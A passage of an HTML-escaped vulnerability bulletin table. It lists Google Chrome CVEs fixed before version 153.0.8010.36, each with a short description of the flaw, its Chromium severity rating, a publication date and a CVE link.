&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Dawn in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87520&quot; target=&quot;_blank&quot;&gt;CVE-2026-87520&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in WebMCP in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87521&quot; target=&quot;_blank&quot;&gt;CVE-2026-87521&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in WebView in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to potentially bypass system access restrictions via crafted network traffic. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87522&quot; target=&quot;_blank&quot;&gt;CVE-2026-87522&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in DataTransfer in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87523&quot; target=&quot;_blank&quot;&gt;CVE-2026-87523&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Core in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87524&quot; target=&quot;_blank&quot;&gt;CVE-2026-87524&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds read in Chromoting in Google Chrome on on Windows prior to 153.0.8010.36 allowed a local attacker to read memory outside the sandbox via a local program. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87525&quot; target=&quot;_blank&quot;&gt;CVE-2026-87525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Passwords in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via UI Interaction. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87526&quot; target=&quot;_blank&quot;&gt;CVE-2026-87526&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Buffer overflow in WebGL in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87527&quot; target=&quot;_blank&quot;&gt;CVE-2026-87527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Type confusion in Rust in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87528&quot; target=&quot;_blank&quot;&gt;CVE-2026-87528&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Numeric truncation error in Media in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87529&quot; target=&quot;_blank&quot;&gt;CVE-2026-87529&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Uncontrolled search path element in CredentialProvider in Google Chrome on on Windows prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87530&quot; target=&quot;_blank&quot;&gt;CVE-2026-87530&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in CORS in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87531&quot; target=&quot;_blank&quot;&gt;CVE-2026-87531&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper state validation in Safebrowsing in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87532&quot; target=&quot;_blank&quot;&gt;CVE-2026-87532&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in DevTools in Google Chrome prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87533&quot; target=&quot;_blank&quot;&gt;CVE-2026-87533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in WebView in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via crafted network traffic. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87534&quot; target=&quot;_blank&quot;&gt;CVE-2026-87534&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information loss or omission in Safebrowsing in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87535&quot; target=&quot;_blank&quot;&gt;CVE-2026-87535&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87536&quot; target=&quot;_blank&quot;&gt;CVE-2026-87536&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87537&quot; target=&quot;_blank&quot;&gt;CVE-2026-87537&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Clickjacking in Input in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87538&quot; target=&quot;_blank&quot;&gt;CVE-2026-87538&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Observable discrepancy in Network in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87539&quot; target=&quot;_blank&quot;&gt;CVE-2026-87539&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Isolated in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87540&quot; target=&quot;_blank&quot;&gt;CVE-2026-87540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Navigation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87541&quot; target=&quot;_blank&quot;&gt;CVE-2026-87541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Input in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87542&quot; target=&quot;_blank&quot;&gt;CVE-2026-87542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Core in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87543&quot; target=&quot;_blank&quot;&gt;CVE-2026-87543&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87544&quot; target=&quot;_blank&quot;&gt;CVE-2026-87544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Mobile in Google Chrome on on iOS prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87545&quot; target=&quot;_blank&quot;&gt;CVE-2026-87545&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect type conversion or cast in Safebrowsing in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted file. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87546&quot; target=&quot;_blank&quot;&gt;CVE-2026-87546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect reference resolution in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87547&quot; target=&quot;_blank&quot;&gt;CVE-2026-87547&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper state validation in Installer in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87548&quot; target=&quot;_blank&quot;&gt;CVE-2026-87548&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incomplete cleanup in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87549&quot; target=&quot;_blank&quot;&gt;CVE-2026-87549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper encoding or escaping of output in CSS in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87550&quot; target=&quot;_blank&quot;&gt;CVE-2026-87550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper certificate validation in CORS in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass web origin policy via crafted network traffic. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87551&quot; target=&quot;_blank&quot;&gt;CVE-2026-87551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in TrustedWebActivities in Google Chrome on on Android prior to 153.0.8010.36 allowed a local attacker to obtain sensitive information via a co-installed app. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87552&quot; target=&quot;_blank&quot;&gt;CVE-2026-87552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper input validation in SiteIsolation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87553&quot; target=&quot;_blank&quot;&gt;CVE-2026-87553&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in Chromoting in Google Chrome on on Windows prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87554&quot; target=&quot;_blank&quot;&gt;CVE-2026-87554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Uninitialized resource in GPU in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87555&quot; target=&quot;_blank&quot;&gt;CVE-2026-87555&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Browser in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87556&quot; target=&quot;_blank&quot;&gt;CVE-2026-87556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in LocalNetworkAccess in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87557&quot; target=&quot;_blank&quot;&gt;CVE-2026-87557&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Payments in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87558&quot; target=&quot;_blank&quot;&gt;CVE-2026-87558&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in UI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87559&quot; target=&quot;_blank&quot;&gt;CVE-2026-87559&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Browser in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87560&quot; target=&quot;_blank&quot;&gt;CVE-2026-87560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Web Authentication in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87561&quot; target=&quot;_blank&quot;&gt;CVE-2026-87561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect reference resolution in Accessibility in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to potentially spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87562&quot; target=&quot;_blank&quot;&gt;CVE-2026-87562&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Origin validation error in Paint in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87563&quot; target=&quot;_blank&quot;&gt;CVE-2026-87563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Type confusion in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87564&quot; target=&quot;_blank&quot;&gt;CVE-2026-87564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Passwords in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87565&quot; target=&quot;_blank&quot;&gt;CVE-2026-87565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Observable discrepancy in Layout in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87566&quot; target=&quot;_blank&quot;&gt;CVE-2026-87566&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in UrlFormatting in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof address bar via a crafted domain name. (Chromium security severity: Medium)&lt;/td&gt;
